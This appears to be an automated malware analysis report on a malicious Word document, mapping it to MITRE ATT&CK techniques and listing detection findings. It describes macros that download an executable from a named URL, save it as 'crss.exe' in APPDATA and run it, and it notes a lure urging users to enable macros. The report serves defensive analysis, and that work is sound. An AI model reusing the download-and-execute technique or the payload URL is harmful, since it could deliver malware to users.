MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1071.001 Web Protocols T1059 Command and Scripting Interpreter

The sample contains VBA macros that leverage the URLDownloadToFile API to download a second-stage executable from 'http://www.cabaco.com/it.exe'. The macro then executes the downloaded file, which is saved to the user's APPDATA directory as 'crss.exe'. The document body explicitly instructs the user to enable macros, indicating a social engineering lure.

  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
